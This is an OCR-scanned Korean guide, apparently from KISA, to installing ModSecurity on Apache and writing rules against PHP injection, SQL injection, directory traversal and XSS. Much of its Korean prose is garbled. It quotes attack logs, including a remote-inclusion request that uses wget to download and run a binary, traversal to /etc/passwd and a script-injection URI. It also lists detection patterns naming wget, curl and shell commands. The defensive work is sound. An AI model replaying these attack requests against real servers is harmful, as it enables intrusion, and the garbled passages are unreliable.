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2. ModSecurity &1X]

HA 7 A o &34 ModSecurityE A |5t B|=E ST

e

A3E : Linux 2.6.8-2-686-smp

| A¥ . Apache 2.2.0

ModSecurity &35 YHEZ : /usr/local/modsecurity-apache-1.9.2
ofg}x] £2~FE Y EL : /usr/local/httpd-2.2.0

ofutx] AW & HYES : /usr/local/apache2
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http:/ /www.modsecurity.org/download /modsecurity-apache-1.9.2.tar.¢z
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# tar xvzf modsecurity-apache-1.9.2.tar.gz

# cd modsecurity-apache-1.9.2; Is -al
linux-web:/usr/local# cd modsecurity-apache-1.9.2; 1s -al
total 84

drwxr-xr-x 6 1000 1000 4096 2006-01-17 03:36 .
drwxrwsr-x 12 root staff 4096 2006-02-22 16:07 ..
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drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apachel

drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 apache2

-rw-r--r-- 1 1000 1000 26381 2006-01-16 21:31 CHANGES

drwxr-xr-x 3 1000 1000 4096 2006-01-17 03:37 doc

-rw-r--r-- 1 1000 1000 1811 2006-01-09 21:33 httpd.conf.example-minimal
-rw-r--r-- 1 1000 1000 881 2005-11-01 22:52 INSTALL

-rw-r--r-- 1 1000 1000 17989 2003-05-29 05:36 LICENSE

-rw-r--r-- 1 1000 1000 994 2006-01-09 23:45 README

drwxr-xr-x 2 1000 1000 4096 2006-01-17 03:36 util
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| A 55
Aol mod_security.cTHS I3t EFA7|= FHFH2A (DSO, Dynamlc shared

[1 ModSecurity ZE213 42X
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@ apxsE ©]-&3to] ModSecurity ZES Hupdsta, dAsta, 44S Aoz HPFIH
# /usr/local/apache2/bin/apxs -cia /usr/local/modsecurity-apache-1.9.2/apache2/mod_security.c

919 HW#H2 mod_security.cE AFJY 3Fti(c g4), FTHAAE AAH modules T EZ
AA8EAL (4 5A4), oF3kA] httpd.conf AR L] AHH 3 LoadModule & F7H-a +41)st
A2 apxst ofFHA| PAH O] FARES Aol HAste ETEH, o] L2928

ENYE LoadModule A2 A3 < olupx] A E Qo] 5 F Ae THFTHA=
(DSO)E wH=th 919 A3 Z modules Y EZ ] mod_security.so’} /%3l httpd.conf 3}
Y| “LoadModule security_module modules/mod_security.so” 2t?1¢] F7}€th.

=

@ 919 HHoz mEo AyHAoz AAHYEA FAPT.
linux-web:/usr/local/apache2/bin# ./httpd -1
Compiled in modules:

core.c

mod_security.c

mod_so.c
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@ obx ANME AT7E
# <apache-home>/bin/apachectl stop
# <apache-home>/bin/apachectl start

DSO Wlo] old HHo 7 A2~ Y & Z-9-oE ModSecurity E°] ™2 bodyoll X
FEA "o o] ¥R DSO W4l A3 Fx7F mEAR ofukx] IMHE B A

=
A1 AAlsfof star AA7F of3F EH3Hg @ide] 3l
E3E ofubA] WA wel AXE A% AR AAS 2] 3 Folof .

<obtA] 1.x9] 4>

$ cd <apachel-source>
$ cp <modsecurity-source>/apachel/mod_security.c ./src/modules/extra

$ ./configure --activate-module=src/modules/extra/mod_security - - enable-module=security

<o}u}x] 2.x9] 79>

$ cd <apache2-source>
$ cp <modsecurity-source>/apache2/mod_security.c ./modules/proxy

$ ./configure -enable-security --with-module=proxy:mod_security.c

obshH 1x Tt obA 2x9A $1o] HHE A Fol, Ykl ofx Pupd A BHL
Axg =},

make
make install

/usr/local/apache2/bin/apachectl start

DSO WAFE Pe) 22 ANAL F8 AR Ao)E httpd.conf FUo] o}d o] F7hHA e
ok DSO W7 PH7HAE ModSecurity & B48141717] 91shHE the 9] ModSecurity #4938} 3
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3. ModSecurity 243} %! Rule A9
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ModSecurity S AAskAtkal A vtz §) W3t 7]5o] HE&H= A2 oflnh o]& HEA717
AefiMe obtx] WX 444 3 (httpd.conf)e] <IfModule> B L OJ of A4 A=}
gojsl FojoF gt

(directive) &

<IfModule mod_security.c>
# mod_security configuration directives
# ...

</IfModule>

EE ModSecuritys 913 HE9] $AHA 9dS vHEIL o] E httpd.confol] 3412 4 SUTh
TkeF '<apache_home>/conf/modsecurity.conf' 2= ©|F22 ModSecurity ™38 -S 9|3
AR S BER BEAS B9 httpd.conf Aol TheT} o] o] HAL TFAA = 5 Ytk

Include conf/modsecurity.conf
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http:/ /www.modsecurity.org/ projects/rules/index.html
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http:/ /www.modsecurity.org /documentation/ modsecurity-apache-manual-1.9.2.pdf

7h 718 8 4AA

—| SecFilterEngine On ]—
ModSecurity 7|'sS €/d3l(enable) A7t}
0 On : ModSecurity 75 €43}
o Off : ModSecurity 715 Bl&4d3}
% ModSecurity M7 & 4 oll= SecFilterEngine XIA|XIE “Off'2 MH
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| SecFilterScanPOST On ]—

POST WAE=9] payloadE 73t}
ModSecurity= T3 22 2714 E}JoZ AFYH Request bodyS *|-¢gH}.

o application/x-www-form-urlencoded (Form Ho|& HAFA] A1-§)
o multipart/form-data (3} HFA] A

e =y eyl giEe 9 ojEeseldo AHAE st

|' SetEnvIfNoCase Content-Type \ ]
"“multipart/form-data;" "MODSEC_NOPOSTBUFFERING=Do not buffer file uploads"

7 @ JHE POST payload A4S HIZA3 + Aot 7 H4 MODSEC_NOPOSTBUFFERING
o] Helxlo] 3lom POST payload W ¥ &S 314 et

—| SecFilterDefaultAction "deny,log,status:404" ]—
ol 8o A8k st e 1 o] 3 (action)7t HAHT ZAzte] dEEE YP9E A
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23S A APT AUAA A9 AJAE A= ASZ, deny, pass,

Primary action ) - -
Ty redirect 5 3tUYE A€t}

Primary actiond] 98t ZAA#= FHPHOZ FIH= FO=E execdt 2 %

Secondary actions . =
y 7H¢] secondary actions©°] Ath.
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A SecFilterDefaultAction Z|A|#}oll 2]3F 7|2 A& action?] ool Fvh()2 T2 3702
actione AFostal vk AT F A= HEAH Y= v £ 2o
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P 9 4 v

el dAE B5 245 2 58RI ] action oFFd AAE
pass | ¢ 2% gA A4S RUEYSAY 27 #4894 488 F Aok
o) SecFilter KEYWORD "log,pass"

passoll ®la] FT FHI WMHORZ o] actiono] FHEH F ©E IEH= 484

717 3 ZntE 938 §&3tA "k

o) SecFilterSelective REMOTE_ADDR ""192\.168\.2\.99%" allow

ol o= #EAr AT ((192.168.2.99) 0014 o] HE&e 3 s&st=S st
Mo

den Y7t 9T 45 8 AYE AIgrh AdH action(status)©] HA|
i o] AL-g-5# ¢ko ™ ModSecurity:= “HTTP 500 error code"E WHgH3tT},

go] AREARES A5 HITP ZelE Ao
01]) SecFllter KEYWORD "deny,status:404"

TE7F A8k AHEAE FolX] URLE 2tho]HE AJZith
o|) SecFilter KEYWORD '"redirect:http://www krcert.or.kr/warn.html"

allow

status

redirect

IH7E dAshE 54 vlolyelE AT AdE sde dA FEE AAs
exec Fofof gt
o|) SecFilter KEYWORD "exec:/home/ivanr/report-attack.pl"

log olm}x] of| 8] & 1(error_log)ol 7]1%gtt.

nolog LE7F A= 7153514 ¢oH, “audit logging'= YU A F=F 3o}

8o g SHS 7] Mol BYE + milliseconds F¢ FAAIZITE 0]
pause 4 2AUE =9A AU 4As] wdAdowN 27 =
Atk oW 2= FA ARte] YR AW 2AdS E7]3

auditlog EWAME JHE audit log(SecAuditLog A AIAFel 93l std™ Aol 7] =3,

A

=

[t
£
r

noauditlog FRZ audit logol 71&38A e

N’

—| SecFilterCheckURLEncoding On

g
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FEASS URLY AEE7] Ao ¢dmgdd eyt gtk %XY(XYE 1635) 38 <]
W E2E A2 W

1o,

. AH&A Rule 39
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| SecFilter KEYWORD

(ACTIONS)
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7V aed e dE"oE 54 719
279 A WA glollX 54 719 =71
o] A& AFol= bodyZtA A A} o] W 7]

o]} =
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=
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ol

}31, “SecFilterScanPOST On” A7 o] &

Aog 4= 9t} SecFilter XA A= §)

=]
RLN

A FEEA gt

W) “SecFilter /bin/sh”$t o] TIdEe)S 33 7|9= JejPS A e A 3AAE
“/bin/./sh”$} o] WHE 35t FAY F ok
w2bA, ModSecuritysl & Theah 2o] B4A7F $38 & e 54 FALS A502 Mol
719= BHYS 23T F Y= s 9ok
Hg a5 H] 3L

\ / AE - AJ2do A &

// /

// /

URL 0179 % Ex9 URL H3Z49 % #A<

AN EE G textrh obd At BHAOR gk IE 73S wEol ¥ & itk 719 =0A
AR W el FolA REAS Wi AT F= vk 7h, “SecFilter Iphp” o] 3]
“php" #A42 EelA FE RE 2L AAY Fx

—|_ SecFilterSelective LOCATION KEYWORD (ACTIONS]

]_

QA SecFilter AAANS o]8-3F FEHLS 2-go] U BH3 tlo] k. o]k &S Helsle] A7)
§83A A2 & J= XAA}) SecFilterSelective©]t:. ©] XAJAR= SecFilter X A)|AFA] LOCATION
Fiol F71 HATH A 719EE o= oA 2HS ARNA] AAsA He) FEs BHHS T 3
5= 3 LOCATION W= that 2ol mlolZ(|)2 7t dde] 914 skixz /€.
SecFilterSelective "REMOTE_ADDR | REMOTE_HOST" KEYWORD

9] e FTPOIAES IP F29 F2E oWt 79} A4HL AH AR Sojz
A AL g 2o

REMOTE_ADDR SERVER_ADMIN TIME_MIN

REMOTE_HOST SERVER_NAME TIME_SEC

REMOTE_USER SERVER_ADDR TIME_WDAY

REMOTE_IDENT SERVER_PORT TIME

REQUEST METHOD SERVER_PROTOCOL API_VERSION
SCRIPT_FILENAME SERVER_SOFTWARE THE_REQUEST

PATH_INFO TIME_YEAR REQUEST_URI
QUERY_STRING TIME_MON REQUEST_FILENAME
AUTH_TYPE TIME_DAY IS_SUBREQ
DOCUMENT_ROOT TIME_HOUR

o] 9o= Hr} AEHQ x| IANAEL EASH=T] ©]= ModSecurity2] vi72-S 3%3}7] Higc)
— Kisc
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—| SecFilterScanOutput On :I—

o} 5] 2614 ModSecurity’= ¥ BHE ALAh JEEZ o] 7|5 wBAsE] glovz
et o] FASIA|A Fojof gt lz«l A e gaHo] ofgX|d o5 AzE7] o]
Ao APHAT 28 = otgpx o & goFo] g g4FH o|Fo APk

T3 o] “OUTPUT" IietHlElE AbEste 54 7|9=8
ok

SecFilterSelective OUTPUT "Fatal error:" deny,status:500

ErrorDocument 500 /php-fatal-error.html

ol¢} Zo] A ¥4 FHE ol8E F e FHUY 54 WHo] A3 A} T Criticald 23}
A 7 2 [e]

=9 e g9 HE text?} HIML Z8of tiajAwt f-831, ojmx]e} 22 vlojz] ZArl=9]
sl e J8stod Az =Hd 4 ok Q%E ModSecurity= ZABl= E}Y-S 7HA3L
RA AU “text/plan" = “text/html"S Fdl= E}JoZ 717 &l syt ~73sth A7

staizl she A= El]S vl & 9ol = “SecFilterOutputMimeTypes” A A|AE o] &8t}

SecFilterOutputMimeTypes "(null) text/html text/plain"

9] 4AL ModSecurity”} ¥ text 34, HTML 3 18]35 MIME E}o] Fos A 2 3}
A= dis] 8 IHE H83tA Sk

29 PHE F8F JFolRn ¥ 5 QAW SstAE Rtk FAA RUHYHEL JA ¢
t Ad= Yoz EtEA 282 dngsis PHOR BHE $3T 5ol EAITh

o 718 R AR

—| SecUploadDir /tmp -

ModSecurity= POST £% ¥ multipart/form-data 179 S FstAY PUT 84S &3 oY
HEEES 7I2A HAT 5 A= 750l Ao

ModSecurity= 3¢ DAl EHJEFJ o FUES HE=3HA k=t ol SecUploadDir A|A1AHS
AHEEte] AA] Y EHE A9 ¢ Qdoh
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| SecServerSignature "Microsoft-11S/5.0" :I

A= 71BH S Z HTTP S8l AW HHE Hojx Xt o] JHE= FAAEC] ¥4
st7] f1st 718 AR 2 5 Aok mEkA, o] FRE SecServerSignature AA|AE o] &3

Hgo 2H FAANE EEsHA & 4 Utk

| SecFilterDebuglog logs/modsec_debug_log

of
fr

SecFilterDebugLog AAIAb= HHA 235 oto] 7|58 AAAE FYtt AXE AQaH F
7L ()2 AlFEHA dod opbA] FUHEZR BHO JUFEE vt

—| SecFilterDebuglevel 1

SecFilterDebugLevel AAIAE AR&ste] twZ FE& drid FAeA & AIAE 242
g o A= g7 £F2 BEFes 28 o A £ gJorng BEx AR T 5
ek Agogk FAS U A S st Ao uEA stk

G A

0 183

1 8 oWl E (error_logdl 7|E%)

2 AR H AR

3 =0 AAS AR W AR
. _gechuditEngine On .

SecAuditLog logs/audit_log

* otux] 278 54 ARG AAE F3 5] A 753 Wo] Ak ModSecurity
SecAuditEngine A|AIAHE T3l ofutx]e] 7|E 21 FY(access_log, error_log) Eth & T
FAlgt 34 #d HRE AFs = F Utk

SecAuditEngine©] AFE-E F Slv It E e o Zoh
o0On: EE 8Hd ] 225 4

o Off : ojfg @Al Hal® 225 H71A &+

o RelevantOnly : ZHol| YXsl= 8 dsiAT 21E G4

-

o
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4. 2 ¥ 224 Rule A4 = ModSecurity 26HE it

ModSecurity= OWASP(http:/ /www.owasp.org)dll A5 tFEe HIH dis Wod 4
UE 7Iss 7HAL ATk £ oA = ModSecurityZ} AX|EH = ofupx] AW S A 7HE Fol
DA E e 93420 PHP Injectiondl] thal] ol o s A & FHEEE grh 3
o]9]el%= SQL Injection, XSS & LRFZQ1 § FA = ojmgt dAo] BaFA| Ldotr
A FHo] Adtd AARE FHEES gith

ro

>

» PHP Injection 23

A2 ofskx YA FHo) Bo| o] &H3 Y AZRE PHP Injection F2o] ojug wyoz
oJFolAEA Thed B4 218 B4 AT 4 Atk

victim.com-access_log:xxx.xxx.239.56 - - [30/ Aug/2005:06:23:06 +0900] "GET
/bbs/ /include/write.php?dir=http:/ /xx.xxx.br/ cse.gif?&cmd=cd %20/ tmp;wget %20http: / / www.xxx.
com/0/r0Onin;chmod %204777 %20rOnin;./rOnin HTTP/1.1" 200 2066

FAAE AZE =9 PHP Injection b3S o] &3l Bl Alo|Eo|| $IX|g 3|7 T2 18-S 5
A 2B o) AYPA AT 3 o] HANZEIWE E3) /tmp YUHEZ] "tOnin" o]FHE Wro] T2
O3S AXEIAT o#f st FAL HT Il titEE TAET e W Al A A o olk

2 olux,
T2 o)k B A2 Apedi

ModSecurityE ©]-8-3te] o]# 3t el ¥4
WA, FAAPE R Ale|ER FEe] A2 U B, “id, "wget"

é
Ee)
.
_>|~1_Al
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# J2p el URLO] 59 Sl £4& Ad
SecFilterSignatureAction "log,deny,msg:’PHP Injection Attacks™
SecFilterSelective ARGS_VALUES "“http:/"

# j_]_‘—_q_uﬂ E1 Oﬂ ”15”, ”id", "de”, "wget" %‘9] 7]_045_7]_ 9)\‘——?-_‘ 76]% ;'(]_Ta.
SecFilterSignatureAction "log,deny,msg:’Command execution attack™
SecFilterSelective ARGS_VALUES ";[[:space:][*(Is | id | pwd | wget)"

# ?-]DH‘: /\]63 ﬁ‘q'e E*—l E]‘Hoﬂ}\:i X]'E}
# "d" \I]Eﬂ_J E’:] 7:]J4_ X}_];}
SecFilterSelective OUTPUT "uid=[[:digit:]|+\ ([[:alnum:]]+\) gid=[[:digit:]]\ ([[:alnum:]]+\)"

# s ' 3R] 2 A% Av
SecFilterSelective OUTPUT "total [[:digit:]]+"

# 'wget' BP9 =¥ 23 2
SecFilterSelective OUTPUT "HTTP request sent, awaiting response"
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S AT 5 Uk

[Mon Mar 06 10:07:25 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code
403. Pattern match "Ahttpy/" at ARGS_VALUES("dir") [msg "PHP Injection Attacks"] [hostname
"victim_ip"] [uri "/new/bbs/include/write.php?dir=http://www.xxx.com.br/cse.gif?&cmd=id"]

I 9ol® AYwF GLOBALSE o] &3 AL wr] Yaide thed o] AA3dith

SecFilterSelective ARGS_NAMES "("“globals\[ | “globals$)"

2 SQL Injection &4

H T8 34 T B2 4] SQL Injection FHFHS ©]-83 FZolth th33 #o] DB Query
£ 5ol DBl gt 2tAl, 71, EHAE 55 Afdsh= Zlo] nigE st

## SQL Injection Attacks
SecFilterSignatureAction "log,deny,msg:’SQL Injection attack™

# Generic

SecFilterSelective ARGS "delete[[:space:]|]+from"
SecFilterSelective ARGS "drop|[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS 'create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS "insert[[:space:]]+into.+values"
SecFilterSelective ARGS "select.+from"
SecFilterSelective ARGS "bulk][[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]|+table"
SecFilterSelective ARGS "or 1=1--""

SecFilterSelective ARGS ".+--"

# MySQL

SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS "load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"

#1e] Aol 93] SQL Injection &AAIE=7} ofefj & o] xetE T}

[Mon Mar 06 09:57:11 2006] [error]| [client xxx.xxx.222.28] mod_security: Warning. Pattern match
"delete[[:space:]]+from" at QUERY_STRING [msg "SQL Injection attack"] [hostname "victim_ip"]
[uri "/new/bbs/zboard.php?id=bbs&no=24’delete %20from"]
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2 Directory traversal 24

bl 1 8 olA “./79k B2 AERE Hax Zu ol oS Fal Jetc/passwd} Zo] v A
FAQ AL HE st B Boer=E Adste Ao vigAsit) L/ g Adelr] 98 o 22
A& 3

SecFilter "\.\./"
o] Aol o3l directory traversal &4 A=A] T3t o] AdE= AL AT 5 Uk

[Mon Mar 06 09:52:00 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied with code
403. Error normalising REQUEST URI: Invalid character detected[0] [hostname "victim ip"] [uri
"/cgi-bin/ quickstore.cgi?page=../../ ../ ../ ../ ./ ../ ../ ../ ../ etc/ passwd %00html&cart_id="]

2 XSS(Cross Site Scripting) =4

XSs= ) #HolAo JavaScripte} £ oA 2IAHEE AUt T2 1 HEAT) olE AYPA7|A
st FZolth o] A ik ol detuE FEHHAH oS o] AT F+ U

o

SecFilterSignatureAction "log,deny,msg:"XSS attack”
SecFilterSelective ARGS "<script"

SecFilterSelective ARGS '"javascript:"
SecFilterSelective ARGS "vbscript:"
SecFilterSelective ARGS "document\ .cookie"
SecFilterSelective ARGS "document)\ .location"
SecFilterSelective ARGS "document)\.write"

9] o AHiAYE, MFAMH AAHYE § AAYE TS ABHI, 2APES o8 T
7 ARt wEHE 2L PARTL Aok

A

XSS 4 Al=7b o 2ol s

rr

2 gAY 5 Urk
[Mon Mar 06 09:51:55 2006] [error] [client xxx.xxx.222.28] mod_security: Access denied
with code 403. Pattern match ""$" at HEADER("Accept") [hostname "victim_ip"] [uri
"/cgi-bin/auction/auction.cgi?action=Sort_Page&View=Search&Page=0&Cat_ID=&Lang=Engli
sh&Search=All&Terms=<script>alert("Vulnerable’);</script>&Where=&Sort=Photo&Dir="]
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o N&"” HEo 2l
FAAE 92 B9 A2d D voluz BUg Adske B9/ Ak Gy Yedel o
'E"q' %LO] "bm/" ]_?4 7]_ 9}]\% OTL]' “1s", "id", ”de", "wget” = ;g_ﬁoﬂ 1‘%—0] ]_Q_Q 9}1_‘1_:__ }\]

29 WEe AuA

SecFilterSelective ARGS "bin/"
SecFilterSelective ARGS_VALUES ";[[:space:][*(Is | id | pwd | wget)"

) HHHEZSR 34

z2e AL duUnel 2715 AdelA Lo} 9 WHE YA 5
Holt}. weh theat gol A 8% ZERS] FZ7|E AR ] of

SecFilterByteRange 1 255

]

==

=]

upel

e

-

39 g2Es Adsn =4 ZddAw %Y dz=2 H488 & Ao ok dedE
“ Jupload.php" ol8kol AT B 42 =7} Fh5aT

SecFilterSelective HTTP_CONTENT_TYPE multipart/form-data
<Location /upload.php>
SecFilterInheritance Off

</Location>

A F7kA] ModSecurityS ©]&-3F ofubA] sIAw 9] 7] et gete] whsl Ay E Sk,

Modsecurty = o}42] s) A& LEOAD GI% 8 TAA 0P FA 94 3 4
59 M3 gk ok He Rulee] HHo] GUI Ful2 AZHA 2w BelArt ddo]
of F7HE &l Fojof = EWFo] Utk SIATE o] Rule AAHE  ModSecurity i«!ﬂ o]
(http:/ /www.modsecurity.org/projects/rules/index.html)oll 2 719 Rule A o7} Qor=zE o]E
sty Be =80 d Ao|th mxgtoz B yoiM e UutF o2 Apache+PHP+MySQL 79l
Z|3tet Rule A4 ol& F-Fo AFsta AoB= o5 7|Eo=w e ¢ A gt AX=Ewto]
43t +9] Aoz AZHET.
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£ £] ModSecurity Rule && 0l
##### Configuration #####
SecFilterEngine On
SecFilterScanPost On

SecFilterScanOutput Off

SecFilterOutputMimeTypes "(null) text/html text/plain"

##### Validation #####
SecFilterCheckURLEncoding On
SecUploadDir /tmp

SecUploadKeepFiles Off
SecFilterCheckUnicodeEncoding Off
SecFilterForceByteRange 1 255
SecFilterDefaultAction "log,deny,status:403"
##### Logging ##H###

SecFilterDebuglLog logs/modsec_debug.log
SecFilterDebugLevel 1

SecAuditEngine RelevantOnly
SecAuditLog logs/modsec_audit.log

##### Hardening #####

# BodyE 717 GET E¥ HEAD 2% A(FZ 7b54 =9)

SecFilterSelective REQUEST METHOD "~GET | HEAD)$" chain

SecFilterSelective HTTP_Content-Length "!"$"

SecFilterSelective SERVER_PROTOCOL ""HTTP/(0\.9]|1\.0|1\.1)$"

# Content-Length”} §l= POST &% =}t

SecFilterSelective REQUEST _METHOD "APOST$" chain

SecFilterSelective HTTP_Content-Length ""$"

SecFilterSelective HTTP_Transfer-Encoding "I"$"

##### General #####

/KISA o23suomgs

16 —
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SecFilterSelective HTTP_Host | HTTP_User-Agent | HTTP_Accept NAG!

SecFilterSelective HTTP_User-Agent "(libwhisker | paros | wget | libwww | perl | curl | java)"
##### SQL Injection Attacks #####

SecFilterSignatureAction "log,deny,msg:’SQL Injection attack™

SecFilterSelective ARGS "delete[[:space:]]+from"
SecFilterSelective ARGS "drop[[:space:]]+database"
SecFilterSelective ARGS "drop[[:space:]]+table"
SecFilterSelective ARGS "drop[[:space:]]+column"
SecFilterSelective ARGS "drop[[:space:]]+procedure"
SecFilterSelective ARGS 'create[[:space:]]+table"
SecFilterSelective ARGS "update.+set.+="
SecFilterSelective ARGS '"insert[[:space:]]+into.+values'
SecFilterSelective ARGS '"select.+from"
SecFilterSelective ARGS "bulk][[:space:]]+insert"
SecFilterSelective ARGS "union.+select"
SecFilterSelective ARGS "or.+1[[:space:]]*=[[:space:]]1"
SecFilterSelective ARGS "alter[[:space:]]+table"
SecFilterSelective ARGS "or 1=1--"

SecFilterSelective ARGS ".+--"

!

SecFilterSelective ARGS "into[[:space:]]+outfile"
SecFilterSelective ARGS '"load[[:space:]]+data
SecFilterSelective ARGS "/\*.+\*/"

##### XSS Attacks #####

SecFilterSignatureAction "log,deny,msg:"XSS attack™
SecFilterSelective ARGS "<script"

SecFilterSelective ARGS '"javascript:"

SecFilterSelective ARGS "vbscript:"

SecFilterSelective ARGS "document) .cookie"

SecFilterSelective ARGS "document) .location"

SecFilterSelective ARGS "document)\.write"

##### Command Execution #####

SecFilterSignatureAction "log,deny,msg:’Command execution attack™
SecFilterSelective ARGS_VALUES ";[[:space:]]*(Is | id | pwd | wget)"
##### PHP Attacks #####

SecFilterSignatureAction "log,deny,msg:’PHP Injection Attacks™

SecFilterSelective ARGS_VALUES ""http:/"
SecFilterSelective ARGS_NAMES "(“globals\[ | “globals$)"

Kisc
@ﬂ R ONEH SIE{LA s Al S| HHE



